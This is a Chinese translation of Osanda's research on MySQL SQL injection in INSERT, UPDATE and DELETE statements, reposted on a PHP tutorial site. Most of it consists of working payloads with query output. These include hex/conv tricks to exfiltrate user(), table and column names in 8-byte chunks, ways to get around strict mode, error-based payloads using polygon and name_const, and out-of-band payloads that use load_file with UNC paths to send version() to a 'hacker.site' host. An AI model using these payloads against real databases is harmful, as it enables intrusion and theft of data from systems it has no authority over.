《MySQL Out-of-Band 注入攻击》要点:
本文介绍了MySQL Out-of-Band 注入攻击,希望对您有用。如果有疑问,可以联系我们。
作者:Osanda
原文链接:http://t.cn/RJz9KA3
本文由 看雪翻译小组ghostway编译
综述
INSERT 和 UPDATE 传统的 in-band(带内)注入方式是修改查询语句.举个栗子,一条INSERT语句可以通过修改查询语句内容,注释掉不要用到的,提交,从返回的数据中提取有用的信息,UPDATE 语句的操作也是类似的,但是只适用于多列的情况.假如我们面临的 UPDATE 或 INSERT 只是单列的情况或者我们不知道准确的查询语句或者 mysql_error() 没有显示错误信息呢?
我们看如下的情况,如何注入?为了简单的目的,以下语句并没有太复杂
$query = "UPDATE users SET username = '$username' WHERE id = '$id';";
参数:
username=test&id=16
最近我一直在研究这种情况下 in-band 和 out-of-band 的利用办法.
为了理解我所描述的,我们先看 MySQL 如何处理字符串.简单地说,MySQL 中一个字符串等于 '0' .如下:
mysql> select 'osanda' = 0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda' = 0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select !'osanda';
+‐‐‐‐‐‐‐‐‐‐‐+
| !'osanda' |
+‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐+
假如我们给一个字符串+数字呢?应该是等于0+数字.
mysql> select 'osanda'+123;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda'+123 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 123 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
这个动态特性,让我想到了很多.但是,我们先进一步研究下 data type.
假如我们给一个字符串加一个 MySQL 中支持的最大值,比如 BIGINT 类型的,会如何呢?
mysql> select 'osanda'+~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda'+~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1.8446744073709552e19 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
值是‘1.8446744073709552e19’ 意味着,最终字符串返回的是一个 8 字节的 DOUBLE 类型数据.继续验证:
mysql> select ~0+0e0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| ~0+0e0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1.8446744073709552e19 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select (~0+0e0) = ('osanda' + ~0) ;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| (~0+0e0) = ('osanda' + ~0) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
经过验证,我们知道 string 返回的值就是一个 DOUBLE 数字.给一个 larger 值+一个 DOUBLE 数字,将返回一个 IEEE 标准 DOUBLE 精度数字.为了克服这个问题,我们只需要进行按位或操作.
mysql> select 'osanda' | ~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda' | ~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 18446744073709551615 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
完美,我们获得了最大的 64-bit 的 BITINT 值是 0xffffffffffffffff .现在,我们可以确定,通过按位或操作,我们可以获得精确的数值,且该值一定小于 BIGINT,因为我们不可能超过 64-bit 大小.
String->数字转换
假如我们使用数字来传递数据,然后再回显的时候再将数字转换回来,会如何?从这个出发点,我想出了这个方案.首先,我们将 String 转换为 hex 值,下一步,将 hex 值转换为数字.
String ‐> Hexadecimal ‐> Decimal
mysql> select conv(hex(version()), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(version()), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 58472576987956 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
解密的时候,我们做逆操作.
Decimal ‐> Hexadecimal ‐> String
mysql> select unhex(conv(58472576987956, 10, 16));
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| unhex(conv(58472576987956, 10, 16)) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 5.5.34 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
但是,请注意,我上文提到过的一点.MySQL 中最大的数字的类型是 BITINT,我们不能超过这个范围.因此一个字符串
的最大长度是8个字节.如下:
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAA'), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 4702111234474983745 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
注意‘4702111234474983745’可以解密回‘4702111234474983745’,但是如果我们再加一个‘A’,我们将无法获得
正确的数字,将产生一个无符号的BIGINT值0xffffffffffffffff
mysql> select conv(hex('AAAAAAAAA'), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAAA'), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 18446744073709551615 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select conv(hex('AAAAAAAAA'), 16, 10) = ~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAAA'), 16, 10) = ~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
由于这个限制,我们必须将一个字符串分割成8个字节的单独字符串.我们可以使用 substr() 函数.
select conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)), 16, 10);(n从1开始)
例如,对于user()返回的字符串,按8个字节为单位裁剪,依次处理,直至为空.
mysql> select conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 8245931987826405219 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 107118236496756 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
最后,我们解码我们获得的结果:
mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,
10,
16)));
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| root@localhost |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
注入
1. 提取表名
以下语法用来从 information_schema 数据库中提取表名:
select conv(hex(substr((select table_name from information_schema.tables where
table_schema=schema() limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);
2. 提取列名
以下语法用来从 information_schema 数据库中提取列名:
select conv(hex(substr((select column_name from information_schema.columns where
table_name=’Name of your table’ limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);
3. update 语句
现在我们可以将之前学到的用起来.如下是一个使用这种方式的update语句的例子:
update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10)
where id='16';
对于之前提到的例子,我们可以这样注入:
name=test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16, 10) where id=16;%00&id=16
最终的语句将会变成这样:
update users set username = 'test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16,
10) where id=16;%00' where id = '16';
这个是我开发的一个测试程序的截图:
请点击此处输入图片描述
4. Insert 语句
我们假设一个insert语句如下:
insert into users values (17,'james', 'bond');
和update语句一样,你可以这样利用:
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n‐1) * 8, 8
* n)),16, 10);
当然在这个例子中,你可以修改该语句,然后注入,但是就像之前提到的情况,如果该insert语句只有一列,那么这个办法将非常有用.
MySQL 5.7中的限制
你可能注意到了,该办法在MySQL5.7.5之后的版本中无效了.
mysql> update users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐
1) * 8, 8 * 1)),16, 10) where id=14;
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'osanda'
在MySQL5.7版本上研究发现,MySQL服务器默认运行在 Strict SQL 模式下.MySQL 5.7.5,默认的 sql_mode 包括标
志 STRICT_TRANS_TABLES .
SELECT @@GLOBAL.sql_mode;
SELECT @@SESSION.sql_mode;
在MySQL5.7的 Strict SQL 模式下,你不能利用这个从整数到字符串转换的技巧,因为原始的列的数据类型是’varchar’.Strict 模式用以控制MySQL怎样处理比如INSERT或UPDATE语句中遇到无效的或者丢失的数据类型转换语句.如果数据类型错误,则抛出一个异常.
为了克服这个,你必须在注入的时候总是使用一个整数.如下,这个查询是OK的.
mysql> update users set username = '0' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 *
1)),16, 10) where id=14;
Query OK, 1 row affected (0.08 sec)
Rows matched: 1 Changed: 1 Warnings: 0
除此之外,你可以在运行的时候关闭Strict模式. SESSION 变量任意用户在他自身的会话中都都可以修改.
SET sql_mode = '';
SET SESSION sql_mode = '';
设置 GLOBAL 变量需要 SUPER 权限,同时影响所有当前连接的客户端的行为.
SET GLOBAL sql_mode = '';
要做一个持久的方案,你需要在MySQL Server启动的时候指定参数 sql_mode 为空.
mysqld.exe ‐‐sql‐mode=
你也可以给你的配置文件‘my.cnf’中添加如下选项:
sql‐mode=
为了观察到默认选项的加载顺序和配置文件的路径,可以如下操作:
mysqld.exe ‐‐help ‐‐verbose
你可以创建一个文件‘myfile.ini’,然后指定该文件是MySQL的默认配置文件:
mysqld.exe ‐‐defaults‐file=myfile.ini11
配置内容如下:
[mysqld]
sql‐mode=
如果一个开发人员使用了 IGNORE 关键字,则 Strict 模式 被忽略.我们可以在Strict模式下使用比如 INSERT IGNORE 或
者 UPDATE IGNORE 关键字.如下:
mysql> update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐1)
* 8, 8 * 1)),16, 10) where id=14;
Query OK, 1 row affected, 1 warning (0.30 sec)
Rows matched: 1 Changed: 1 Warnings: 1
解码
提供一些不同语言的解码的办法:
SQL
select unhex(conv(value, 10, 16));
Python
dec = lambda x:("%x"%x).decode('hex')
Ruby
dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }
Ruby中也可以这样用:
dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }
传统的常规办法
当存在多列情况的注入点时,你可以用如下常规注入办法:
1. Update语句
假设依然是之前的问题,但是这次我们有两列.我们需要知道另一个列名:
UPDATE newsletter SET username = '$user', email = '$email' WHERE id = '$id';
如果应用程序回显了‘$emial’变量给我们,我们可以这样注入:
username=test',email = (select version()) where id = '16'‐‐ ‐&email=test
2. Insert 语句
如果我们使用 query 来做例子,像前一个例子,我们可以通过修改查询语句来注入.但是,需要提前知道 value 的个数.
INSERT INTO `database`.`users` (`id`,`user`,`pass`) VALUES ('$id','$user', '$pass');
如果应用程序回显了‘$user’变量给我们,我们可以这样注入:
id=16',(SELECT @@version), 'XXX');‐‐ ‐&user=test&pass=test
Error Based 的注入
我之前写过一篇关于Insert,Update和Delete语句注入的文章.你可以使用如Error Based 的注入例子.
Update语句
UPDATE users SET password = 'osanda'*multipoint((select*from(select
name_const(version(),1))x))*'' WHERE id='16' ;
UPDATE users SET password = 'osanda' WHERE id='16'*polygon((select*from(select
name_const(version(),1))x))*'' ;
Insert语句
INSERT INTO users VALUES (17,'james', 'bond'*polygon((select*from(select
name_const(version(),1))x))*'');13 | P a g e
Delete语句
DELETE FROM users WHERE id='17'*polygon((select*from(select
name_const(version(),1))x))*'';
将 ‘*’ 替换为: ||, or, |, and, &&, &, >>, <<, ^, xor, =, mul, /, div, ‐, +, %,
mod.
Out-of-Band(OOB)注入
你可以查看我之前的研究,我详细描述过windows平台上,关于MySQL的OOB技术.同样的办法可以运用到’INSERT’,
‘UPDATE’和’DELETE’语句中.
Update语句
UPDATE users SET username =
'osanda'load_file(concat('\\\\',version(),'.hacker.siste\\a.txt')) WHERE id='15';
UPDATE users SET username = 'osanda' WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Insert语句
INSERT into users VALUES
(15,'james','bond'|load_file(concat('\\\\',version(),'.hacker.site\\a.txt')));
Delete语句
DELETE FROM users WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, =, *,mul, /, div, ‐, +, %,
mod.
结论
在实际的场景中,一个漏洞通常并不是可以直接利用的.在SQL注入中取决于你利用这些技术来想出一个创建性的方案.
分析对应的情景,调整你的思路,找到正确的办法.
感谢
特别感谢 Mukarram Khalid (@themakmaniac)测试了我的研究.
引用
http://dev.mysql.com/doc/refman/5.7/en/
声明:转载请保存文章的完整性,注明作者、译者及原文链接.
《MySQL Out-of-Band 注入攻击》是否对您有启发,欢迎查看更多与《MySQL Out-of-Band 注入攻击》相关教程,学精学透。维易PHP学院为您提供精彩教程。
转载请注明本页网址:
http://www.vephp.com/jiaocheng/7123.html